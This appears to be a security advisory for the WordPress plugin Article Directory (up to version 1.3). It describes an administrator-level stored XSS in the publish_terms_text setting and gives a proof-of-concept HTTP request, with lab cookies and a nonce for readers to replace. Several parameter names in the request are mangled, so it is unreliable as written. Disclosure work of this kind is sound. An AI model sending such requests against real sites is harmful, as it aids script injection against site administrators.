Article Directory <= 1.3 - Admin+ Stored XSS

The plugin does not properly sanitize the publish_terms_text setting before displaying it in the administration panel, which may enable administrators to conduct Stored XSS attacks in multisite contexts.

PoC

POST /wordpress/wp-admin/options.php HTTP/1.1 Host: 172.28.128.6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://172.28.128.6/wordpress/wp-admin/options-general.php?page=article-directory%2Farticle-directory.php Content-Type: application/x-www-form-urlencoded Content-Length: 1234 Origin: http://172.28.128.6 Connection: close Cookie: wordpress_b92078c82d0f1044cdfb065e7ae28bec=admin%7C1672746064%7CQtuyq4Np2JGSAZb83cNhdojTDRRIDPVisa0ndOhoEPO%7Cec675c4bca520751295d2189a34017309eeba5b54a5f39c1c85643a6c0718e17; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_b92078c82d0f1044cdfb065e7ae28bec=admin%7C1672746064%7CQtuyq4Np2JGSAZb83cNhdojTDRRIDPVisa0ndOhoEPO%7Cbc4ecbc11fae0c1cfc10ad70b8372835f2b30f3abed1872afa83058e16611a00; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse; wp-settings-time-1=1672573750 Upgrade-Insecure-Requests: 1 option_page=article_directory&action;=update&_wpnonce=374f46ff36&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Darticle-directory%252Farticle-directory.php&article;_directory%5Bcolumn_count%5D=3&article;_directory%5Bsort_by%5D=0&article;_directory%5Bsort_direction%5D=0&article;_directory%5Bshow_parent_count%5D=1&article;_directory%5Bdesc_for_parent_title%5D=1&article;_directory%5Bno_child_alert%5D=1&article;_directory%5Bshow_child%5D=1&article;_directory%5Bshow_child_count%5D=1&article;_directory%5Bmaximum_child%5D=0&article;_directory%5Bdesc_for_child_title%5D=1&article;_directory%5Bchild_hierarchical%5D=1&article;_directory%5Bhide_empty%5D=0&article;_directory%5Bexclude_cats%5D=0&article;_directory%5Bauthor_interface%5D=0&article;_directory%5Bauthor_panel_id%5D=123&article;_directory%5Barticle_status%5D=0&article;_directory%5Bminimum_symbols%5D=700&article;_directory%5Bmaximum_links%5D=3&article;_directory%5Bshow_editor%5D=1&article;_directory%5Bdefault_editor%5D=html&article;_directory%5Bsel_only_one_cat%5D=1&article;_directory%5Bshow_tags%5D=0&article;_directory%5Ballow_new_tags%5D=0&article;_directory%5Bpublish_terms_text%5D=asdfghj&article;_directory%5Bkinderloss%5D=1&article;_directory%5Bshow_article_code%5D=0 Please replace the nonce and cookie values. This exploit works for inter-admin.